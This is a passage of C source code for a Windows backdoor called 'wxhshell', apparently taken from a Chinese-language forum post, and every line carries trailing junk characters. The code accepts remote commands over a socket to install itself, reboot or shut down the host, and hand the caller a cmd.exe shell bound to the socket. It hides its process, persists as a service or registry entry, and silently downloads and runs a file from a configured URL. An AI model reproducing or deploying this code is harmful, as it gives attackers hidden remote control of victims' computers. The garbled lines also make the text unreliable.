      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . o /uA  
    break; -PSgBH[  
  } a*.#Zgy:lK  
  // 安装 xYYa%PhIC  
  case 'i': { gVzIEE25  
    if(Install()) y'4Qt.1ukN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&>W/56/  
    else 1kL8EPT%o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  @,k5T51m  
    break; (Y7zaAG]  
    } +BL46 Bq  
  // 卸载 FibZT1-k  
  case 'r': {   P3|s}&  
    if(Uninstall()) d *gv.mE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! {G0'   
    else vMEN14;yH_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q]N&^ E  
    break; @$%GszyQ'  
    } w@cW`PlF  
  // 显示 wxhshell 所在路径 x:!s+q` s  
  case 'p': { Q#SQ@oUzD  
    char svExeFile[MAX_PATH]; F/>\uzu  
    strcpy(svExeFile,"\n\r"); !f52JQyh  
      strcat(svExeFile,ExeFile); ug2W{D  
        send(wsh,svExeFile,strlen(svExeFile),0); `{Q'iydU  
    break; H2Wlgt  
    } 1a{r1([)  
  // 重启 0: hv6Ge^  
  case 'b': { 0`c{9gY.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LPJ7V` !k  
    if(Boot(REBOOT)) 4^2>K C_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (M$>*O3SR  
    else { *{fs{gFw9  
    closesocket(wsh); U6@c)_* <  
    ExitThread(0); $B%KkD  
    } +c<iVc|  
    break; ]&Y^  
    } w($a'&d`0  
  // 关机 mWaij]1>  
  case 'd': { jD9u(qAlH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V)/J2-w  
    if(Boot(SHUTDOWN)) A2M( ad  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C){Q;`M-<  
    else { s)qrlv5H  
    closesocket(wsh); "*t6KXVaM  
    ExitThread(0); P%e7c,  
    } 8ex;g^e  
    break; eP>_CrJb  
    } oHx :["F  
  // 获取shell [C6ba{9 B  
  case 's': { 9!Mh (KtQ  
    CmdShell(wsh); ye$_=KARP  
    closesocket(wsh); TxG@#" ^g}  
    ExitThread(0); ^)>( <6  
    break; \~%+)a%%  
  } wX]$xZ!s  
  // 退出 [d[w/@  
  case 'x': { 2'S&%UyP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pPRX#3  
    CloseIt(wsh); +8//mrL_/  
    break; %`5 (SC].  
    } raPOF6-_rH  
  // 离开 a&8K5Z%0  
  case 'q': { >t cEx(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;Y*K!iFWH  
    closesocket(wsh); iXnXZ|M  
    WSACleanup(); ftPps -  
    exit(1); I&La0g_E  
    break; tf6m .  
        } 4}; @QFT*  
  } ,R`CAf%*  
  } uKk#V6t#  
0@zJa;z'  
  // 提示信息 ?(=|!`IoO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :gwmk9LZ  
} oa"Bpi9i  
  } ?tjEXg>ny  
JL87a^ro  
  return; 3O$l;|SX  
} (t@)`N{  
wz:e\ !  
// shell模块句柄 d5gwc5X  
int CmdShell(SOCKET sock) NzQvciJ@"  
{ [y`G p#  
STARTUPINFO si; U U_0@V<  
ZeroMemory(&si,sizeof(si)); Ln,<|,fZN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }NC$Ce  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3?FY?Q[  
PROCESS_INFORMATION ProcessInfo; K _VIk'RB  
char cmdline[]="cmd"; $mGzJ4&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2Cp4aTGv#  
  return 0; 3pWav 1"  
} L.@$rFhA  
| 9S8sfw  
// 自身启动模式 <h/q^|tZ{  
int StartFromService(void) M{24MF   
{ g.9C>>tj  
typedef struct _ $>);qIP4  
{ aF?_V!#cT  
  DWORD ExitStatus; I20~bW  
  DWORD PebBaseAddress; 1M??@@X  
  DWORD AffinityMask; G)< B7-72;  
  DWORD BasePriority; )4uWB2ZRoi  
  ULONG UniqueProcessId; A2ye ^<-C.  
  ULONG InheritedFromUniqueProcessId; BGibBF^  
}   PROCESS_BASIC_INFORMATION; H I|a88   
a8T9=KY^  
PROCNTQSIP NtQueryInformationProcess; cOP'ql{"  
e#HPU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =A6*;T"W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kQ\ $0=6N9  
q$" u<  
  HANDLE             hProcess; S&UP;oc  
  PROCESS_BASIC_INFORMATION pbi; _oc6=Z  
q&@s/k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ft6xI  
  if(NULL == hInst ) return 0; 2K>1,[C'Z  
y p{Dl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~fkcal1@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N/0aO^"V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^oPFLez56  
/a32QuS  
  if (!NtQueryInformationProcess) return 0; m@+v6&,  
Gf.ywqE$Y$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bQ3<>e\%B  
  if(!hProcess) return 0; V6dq8Z"h  
p}pRf@(`\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cL#-vW<s3  
2EM6k|l5  
  CloseHandle(hProcess); Z OPK  
c9Et Uv~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ddN(L`nd  
if(hProcess==NULL) return 0; .\$A7DD+A  
@* vVc`;  
HMODULE hMod; 4$VDJ  
char procName[255]; =|AYT6z,  
unsigned long cbNeeded; 9cB+ x`+Lu  
0 ^>,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e4=FO;%  
L,A+"  
  CloseHandle(hProcess); %R?7u'=~  
rGNa[1{kRs  
if(strstr(procName,"services")) return 1; // 以服务启动 d%k7n+ICQ4  
=M-=94  
  return 0; // 注册表启动 | U0s1f  
} Q SF0?Puf  
tx d0S!  
// 主模块 TsT5BC63  
int StartWxhshell(LPSTR lpCmdLine) j17h_ a;  
{ !{+CzUo@  
  SOCKET wsl; O'(Us!aq  
BOOL val=TRUE; DcBAncsK  
  int port=0; ^X{U7?x  
  struct sockaddr_in door; B /uaRi%  
AR( gI]1  
  if(wscfg.ws_autoins) Install(); nxhlTf>3  
P]n0L4c  
port=atoi(lpCmdLine); :qxWANUa  
h=`$ec  
if(port<=0) port=wscfg.ws_port; |*JMPg?zI  
"9'3mmZm=?  
  WSADATA data; _D}3``  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @.E9 ml  
nZnqXclzxn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A^FkU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # &)H&H}  
  door.sin_family = AF_INET; &c!6e<o[p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 94&t0j_  
  door.sin_port = htons(port); .F$}a%  
U9T}iI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ByP<-Deh  
closesocket(wsl); !0hyp |F:>  
return 1; mW!n%f  
} ^G`6Zg;  
l4i 51S"  
  if(listen(wsl,2) == INVALID_SOCKET) { GdUsv  
closesocket(wsl); Wap4:wT  
return 1; ,gZp/yJ;  
} 'gor*-o:wu  
  Wxhshell(wsl); Kd 1=mC  
  WSACleanup(); ,gNZHKNq  
u-&V, *3l  
return 0; Kkovp^G  
aHu0z:  
} ^_3Ey  
R98YGW_ dT  
// 以NT服务方式启动 4+>yL+sC%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dakHH@Q  
{ 75p9_)>96  
DWORD   status = 0; I,#E`)  
  DWORD   specificError = 0xfffffff; )/DN>rU  
f_O|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T8\@CV!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]Xa]a}[uE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Epp>L.?r  
  serviceStatus.dwWin32ExitCode     = 0; _Jg#T~  
  serviceStatus.dwServiceSpecificExitCode = 0; XdThl  
  serviceStatus.dwCheckPoint       = 0; j?*n@'   
  serviceStatus.dwWaitHint       = 0; 3<<wHK;)  
yNfj-wM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ):hz /vZ  
  if (hServiceStatusHandle==0) return; 6_" n  
pD[&,gV$  
status = GetLastError(); b+:mV7eX  
  if (status!=NO_ERROR) -w2^26 ax  
{ XGR63hXND  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EsWB|V>  
    serviceStatus.dwCheckPoint       = 0; xib}E[-l#  
    serviceStatus.dwWaitHint       = 0; -"ZNkC =  
    serviceStatus.dwWin32ExitCode     = status; eD7\,}O  
    serviceStatus.dwServiceSpecificExitCode = specificError; MHWc~@R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "k + :!D  
    return; Q (N'Oj:J  
  } s[{8:Px  
}Y.@:v j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j,].88H  
  serviceStatus.dwCheckPoint       = 0; b/*QV0(  
  serviceStatus.dwWaitHint       = 0; 4d@0v n{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l2W+VBn6  
} Z\C"/j<y  
BeRs;^r+  
// 处理NT服务事件,比如:启动、停止 0e"KdsA:<U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RgFpc*.T  
{ l]DRJ  
switch(fdwControl) Bz ,D4 E$  
{ B YB9M  
case SERVICE_CONTROL_STOP: JYjc^m  
  serviceStatus.dwWin32ExitCode = 0; IA1O]i S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S|u5RU8*"|  
  serviceStatus.dwCheckPoint   = 0; </<z7V,{  
  serviceStatus.dwWaitHint     = 0; GPAC0K^p  
  { V^qBbk%l>D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#*+#27  
  } P >0S ZP  
  return; }1CO>a<  
case SERVICE_CONTROL_PAUSE: PTpCiiA@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |'i ?o  
  break; X+emJ&Z$@  
case SERVICE_CONTROL_CONTINUE: (ce)A,;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #9"lL1  
  break; \iEJ9V  
case SERVICE_CONTROL_INTERROGATE: mNe908Yw  
  break; ND9;%<80  
}; `,GFiTPd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*FlB>1jy  
} 5.0;xz}#y  
<0`"vPU  
// 标准应用程序主函数 k3OnvnJb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,h3,& ,  
{ TKw>eGe  
g5Hsz,x  
// 获取操作系统版本 $[=`*m  
OsIsNt=GetOsVer(); |@-y+vbA*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~;I{d7z,;  
_x#r,1V+D  
  // 从命令行安装 b[;3y/X  
  if(strpbrk(lpCmdLine,"iI")) Install(); dj0D u^ v4  
t.O4-+$ig  
  // 下载执行文件 /s:akLBaD  
if(wscfg.ws_downexe) { '?fn} V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yu^}  
  WinExec(wscfg.ws_filenam,SW_HIDE); v g tJ+GjN  
} [iSLn3XXRX  
m} =<@b:l  
if(!OsIsNt) { +fIy eX  
// 如果时win9x,隐藏进程并且设置为注册表启动 S 1Ji\  
HideProc(); 1 gRR  
StartWxhshell(lpCmdLine); .fW`/BXE  
} V|0UwS\n  
else VKrKA71Z~  
  if(StartFromService()) Z3T26Uk  
  // 以服务方式启动 R91u6r#  
  StartServiceCtrlDispatcher(DispatchTable); D3 E!jQ1  
else 2gjA>ET`N  
  // 普通方式启动 483vFLnF  
  StartWxhshell(lpCmdLine); ~Uz|sQ*G  
:TWHmxch  
return 0; }S&SL)  
}
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只看该作者 1 发表于: 2006-10-10
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